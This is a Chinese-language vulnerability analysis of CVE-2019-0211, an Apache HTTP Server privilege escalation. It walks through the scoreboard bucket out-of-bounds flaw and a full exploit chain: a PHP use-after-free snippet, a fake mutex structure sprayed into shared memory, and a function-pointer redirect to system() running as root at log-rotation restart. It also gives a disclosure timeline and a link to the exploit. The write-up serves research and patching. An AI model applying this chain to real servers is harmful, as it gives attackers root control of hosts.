CVE-2019-0211 Apache提权漏洞分析

 

简介

2.4.172015109日)到2.4.38(201941)Apache HTTP版本中,存在着一个可以通过数组越界调用任意构造函数的提权漏洞。这个漏洞可以通过重新启动Apache服务(apache2ctl graceful)来触发。在Linux默认配置中,每天会在早上625分自动运行一次该命令,从而重启日志文件的处理任务。

该漏洞涉及到三个函数mod_prefork,mod_workermod_event。后面的漏洞描述,分析和触发都主要从mod_prefork展开。

漏洞描述

MPM prefork模式下,服务器主进程会运行在root权限下,管理一个单线程的进程池。低权限(www-data)Worker进程处理HTTP请求头。Apache通过共享包含有scoreboard(包含诸如PID、请求等Worker进程信息)的共享内存空间(SHM)来处理worker进程返回的信息。每一个Worker进程都对应一个关联自身PIDprocess_score结构,拥有着对SHM的读写权限。

ap_scoreboard_image: 共享内存空间的指针

(gdb) p *ap_scoreboard_image 
$3 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
 
PID19447的Worker进程的共享内存空间
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447, 
  generation = 0, 
  quiescing = 0 '00', 
  not_accepting = 0 '00', 
  connections = 0, 
  write_completion = 0, 
  lingering_close = 0, 
  keep_alive = 0, 
  suspended = 0, 
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

Apache重启的时候,它的主进程会关闭旧的Worker进程并生成新的来替换掉。在这里主进程会用all_bucket这一函数来使用所有旧的Worker进程占用的bucket(内存空间)值。

all_buckets

(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408, 
  listeners = 0x7f19db35e9d0, 
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

这里没有进行边界检查,也就是说任意一个Worker进程都可以改变自身bucket的值来指向共享内存区域,从而在重启的时候控制prefork_child_bucket函数的结构。最终在权限恢复之前,通过mutex->meth->child_init()这一调用过程,实现暂时以root权限调用函数。

存在风险的代码区域

理一遍server/mpm/prefork/prefork.c来看下是什么地方导致了这一漏洞。

(译者注:L数字代表该文件中对应的代码行数)

  • 一个恶意的Worker进程改变自身共享内存中自身的bucket的值,从而指向共享内存空间。
  • 在第二天的早上6.25分,logrotate请求Apache重启一次服务。
  • 之后Apache主进程会关闭第一个Worker进程,生成新的Worker级才能哼。
  • 这个过程是通过发送SIGUSR1信号给Worker进程来实现的,Worker进程收到信号后会立刻退出。
  • 然后调用prefork_run()L853)函数来生成新的Worker进程。由于存在retained->mpm->was_graceful这一过程,Worker进程不会立刻重启。
  • 在进入主循环(L933)并监控旧的Worker进程的PID,可以看到旧的Worker进程关闭后,ap_wait_or_timeout()函数会返回它PID的值(L940
  • process_scoreindex值以及PID值会存储在child_slot(L948)
  • 如果删除旧的Worker进程没有报错(L969)的话,make_child()函数会调用ap_get_scoreboard_process(child_slot)->buctet的值作为参数(L985),正如之前提到的一样,bucket的值已经被恶意Worker给修改了。
  • make_child()函数会fork(L671)主进程来生成新的子进程。
  • OOB会读取(L691)发生的过程,导致my_bucket函数遭到攻击者的控制。
  • child_main()函数会调用(L722),相比(L433)处更快调用函数。
  • SAFE_ACCEPT(<code>)只有在Apache监听两个或更多的端口时执行<code>,一般来说服务器通常监听着HTTP(80)HTTPS(443)
  • 假设<code>成功执行,会调用apr_proc_mutex_child_init()函数,从而通过(*mutex)->meth->child_init(mutex, pool, fname)的调用过程来控制互斥锁。
  • 在执行完(L446)后权限恢复到正常的低权限。

 

利用过程:

利用过程包括四个步骤:1、获取Worker进程的读写权限.2、向共享内存空间(SHM)写入一个假的prefork_child_bucket结构。3、将all_bucket[bucket]指向结构。4、等待构造的函数被调用。

这一过程的好处:

始终没有创建过主进程,所有过程都映射在访问/proc/self/maps(ASLR/PIE保护无效)中,当一个Worker进程关闭或报错时,它会自动由主进程重新创建,所以不会有DOS Apache服务器的风险。

缺点:

PHP不允许对/proc/self/mem的读写,也就是说我们没法直接编辑共享内存空间,只能等待重启的时候调用all_bucket函数。

1. 获取Worker进程的读写权限

PHP UAF0day漏洞

由于mod_prefork函数经常和mod_php函数一起使用,因此可以从CVE-2019-6977这里下手实现漏洞的利用。我在写exp的过程中发现PHP7.X下的UAF 0day漏洞在PHP5.X中也能复现。

PHP UAF

<?php

 

class X extends DateInterval implements JsonSerializable

{

  public function jsonSerialize()

  {

    global $y, $p;

    unset($y[0]);

    $p = $this->y;

    return $this;

  }

}

 

function get_aslr()

{

  global $p, $y;

  $p = 0;

 

  $y = [new X('PT1S')];

  json_encode([1234 => &$y]);

  print("ADDRESS: 0x" . dechex($p) . "n");

 

  return $p;

}

 

get_aslr();

这里有一个PHP对象的UAF:即使我们无法设置$y[0](X的一个实例),我们也可以利用$this

UAF的读写权限

我们想要实现两个目标:读取内存地址来找到all_buckets的位置,修改SHM来改变bucket的值,从而加上我们自己的结构。

好在PHP的堆正好在这两片地址区域的前面。

PHP堆的内存地址,ap_scoreboard_image->*all_buckets

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p

7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

 

(gdb) p *ap_scoreboard_image

$14 = {

  global = 0x7f4a9323e008,

  parent = 0x7f4a9323e020,

  servers = 0x55835eddea78

}

(gdb) p all_buckets

$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

考虑到我们触发了PHP对象中的UAF,对象中的任意属性都属于UAF漏洞的范围。我们可以将zend_object UAF改为zend_string,从而获得一个zend_string结构。

(gdb) ptype zend_string

type = struct _zend_string {

    zend_refcounted_h gc;

    zend_ulong h;

    size_t len;

    char val[1];

}

len属性包括了字符串的长度,通过增加它,我们可以读写之后的内存空间,也就是说能访问到我们感兴趣的两个内存空间:SHMApacheall_buckets

找到bucketindex值和all_bucket

我们需要改变ap_scoreboard_image->parent[worker_id]->bucket来获得特定的worker_id。好在这个结构每次都在共享内存空间的头部位置,很方便我们去定位。

共享内存空间和目标process_socre结构

root@apaubuntu:~# cat /proc/6318/maps | grep rw-s

7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)

 

(gdb) p &ap_scoreboard_image->parent[0]

$18 = (process_score *) 0x7f4a9323e020

(gdb) p &ap_scoreboard_image->parent[1]

$19 = (process_score *) 0x7f4a9323e044

要定位all_bucket,我们需要充分利用prefork_child_bucket结构,所以我们需要:

导入bucket值的结构

prefork_child_bucket {

    ap_pod_t *pod;

    ap_listen_rec *listeners;

    apr_proc_mutex_t *mutex; <--

}

 

apr_proc_mutex_t {

    apr_pool_t *pool;

    const apr_proc_mutex_unix_lock_methods_t *meth; <--

    int curr_locked;

    char *fname;

 

    ...

}

 

apr_proc_mutex_unix_lock_methods_t {

    unsigned int flags;

    apr_status_t (*create)(apr_proc_mutex_t *, const char *);

    apr_status_t (*acquire)(apr_proc_mutex_t *);

    apr_status_t (*tryacquire)(apr_proc_mutex_t *);

    apr_status_t (*release)(apr_proc_mutex_t *);

    apr_status_t (*cleanup)(void *);

    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--

    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);

    apr_lockmech_e mech;

    const char *name;

}

all_buckets[0]->mutex会定位在同一个all_buckets[0]的内存区域,考虑到meth是一个静态结构,它会定位到libaprdata上,又因为meth指向了libapr的函数,所以每一个函数的指针都在libaprtext内。

到这里我们通过/proc/self/maps有了整片内存区域的地址信息,我们可以通过修改Apache内存的指针来找到all_buckets[0]对应的结构位置。

和我之前说的一样,all_bucket的地址在每次重启都会发生变化。所以说每次触发我们的expall_buckets的地址都会发生变化。之后我们会研究如何解决这问题。

2. 向共享内存空间(SHM)写入假的prefork_child_bucket结构

实现函数的调用

如下是构造的调用函数的过程:

bucket_id = ap_scoreboard_image->parent[id]->bucket

my_bucket = all_buckets[bucket_id]

mutex = &my_bucket->mutex

apr_proc_mutex_child_init(mutex)

(*mutex)->meth->child_init(mutex, pool, fname)

调用适合的函数

要实现漏洞利用,我们需要让(*mutex)->meth->child_init指向zend_object_std_dtor(zend_object *object),也就是下面的利用过程:

mutex = &my_bucket->mutex

[object = mutex]

zend_object_std_dtor(object)

ht = object->properties

zend_array_destroy(ht)

zend_hash_destroy(ht)

val = &ht->arData[0]->val

ht->pDestructor(val)

pDestructor指向system, &ht->arData[0]->val是一个字符串.

3.all_bucket[bucket]指向结构

问题和解决思路

到这里为止,如果all_bucket的地址每次重启不会改变,那么我们的利用过程就完成了。

  • 通过PHP的堆获取内存的读写权限
  • 通过结构匹配来找到all_bucket
  • 找到SHM中需要的结构
  • 改变SHM中的process_score.bucket,使得all_bucket[bucket]->mutex指向我们的paylaod

但考虑到all_bucket地址的变化,我们还需要做两件事情来提高我们的执行成功率:喷射SHM内存区域,用上每一个PID对应的process_socre结构。

喷射共享的内存区域

如果all_bucket的新地址距离旧的地址不远,my_bucket会指向最近的结构,从而喷射获得整个SHM中未被使用的空间,而不是仅仅获得一个指向SHM的指针。这里存在一个问题,结构在zend_object中也使用着,所以其中有(5*8=)40位属于zend_object.properties,导致用一个大的结构来占用这个小的空间也不行。所以我们采用两个结构apr_proc_mutex_tzend_array占用剩余的共享内存,令prefork_child_bucket.mutexzend_object.properties指向同一个地址,来解决这一问题。现在如果all_bucket在原始地址不远的地方,my_bucket就会喷射到这一范围。

利用所有的process_score

每一个Apache Worker进程都会有一个关联的process_score结构和对应的bucketindex值。无需改变process_score.bucket值,我们就能改变他们占用的内存范围,比如说:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00

ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00

ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

这意味着我们的成功率随着Apache Worker进程数量的增多而变大。每次重新生成Worker进程的时候,都只有一个Worker进程会获得buckek编号,但考虑到其他Worker进程会报错而立刻重新生成,因此这不是什么问题。

复现成功率

不同的Apache服务器有着不同数量的Worker进程,有更多的Worker进程意味着我们可以用更少的内存来喷射互斥锁的地址,也就是说可以获取到更多的all_buckets函数的index信息。因此越多的Worker进程数量能够提高我们测试的成功率。在我的测试服务器(默认使用了4Worker进程)上有80%的成功率。

如果exp触发失败的话,它会在第二天重启的时候重新运行,Apache的错误日志中不会包含Worker进程的错误信息。

4. 等到早上6.25查看exp是否成功触发

这里只需要等待就好了。

漏洞时间线

  • 2019-02-22 发送邮件给security@apache.org,提交了漏洞描述和Poc
  • 2019-02-25 收到漏洞致谢,Apache安全团队正在修复漏洞。
  • 2019-03-07 Apache安全团队发送修复补丁进行测试,并提交CVE编号。
  • 2019-03-10 补丁测试通过。
  • 2019-04-01 发布新的Apache HTTP version 2.4.39版本。

Poc地址:

https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache

(完)